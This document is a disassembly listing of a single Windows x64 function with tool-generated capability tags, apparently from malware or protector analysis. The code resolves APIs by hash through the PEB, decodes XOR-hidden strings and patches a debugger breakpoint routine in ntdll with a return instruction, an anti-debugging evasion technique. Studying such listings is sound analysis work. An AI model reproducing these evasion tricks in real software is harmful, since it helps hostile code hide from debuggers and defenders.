Function at 0x140080d60
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0xa0
mov rax, qword [0x1400c71c0]
xor rax, rsp
mov qword [rsp + 0x90], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
lea r14, [rsp + 0xb8]
movabs r15, 0xff00ff00ff00ff00
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], r14
mov rax, qword [r14]
xor rax, r15
mov qword [rsp + 0x50], rax
xor ebp, ebp
mov qword [r14], rbp
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140080e53
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140080e53
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
mov edx, 0x811c9dc5
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x140080e4e
nop dword [rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x140080e30
cmp edx, 0xe463da3c
je 0x140080e6b
test r8d, r8d
jne 0x140080e10
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x140080e82
cmp qword [rax + 0x30], 0
jne 0x140080de0
jmp 0x140080e82
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebp, dword [rcx + rax*4]
add rbp, r9
movabs rax, 0x588f424818cb5e06
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x30], rax
movabs rax, 0x6ba95019682a57ed
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x38], rax
movabs rbx, 0x34eb6c2474af2a68
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x70], rax
movabs rdi, 0x6ba95019682a5781
mov qword [rsp + 0x20], rdi
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x78], rax
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call rbp
mov r8, rax
test rax, rax
je 0x140080fa8
movabs rax, 0x5f8a095636c8482c
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
mov qword [rsp + 0x40], rcx
movabs rax, 0x6ba9506d064338d1
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x20], rbx
mov rcx, qword [rsp + 0x20]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x20], rdi
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x88], rax
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rsp + 0x80]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140080fa8
lea r9, [rsp + 0x68]
mov edx, 1
lea r8d, [rdx + 0x3f]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140080fa8
mov byte [rbx], 0xc3
mov rax, qword [rsp + 0x50]
xor rax, r15
mov qword [r14], rax
xor eax, eax
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.1400870c0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret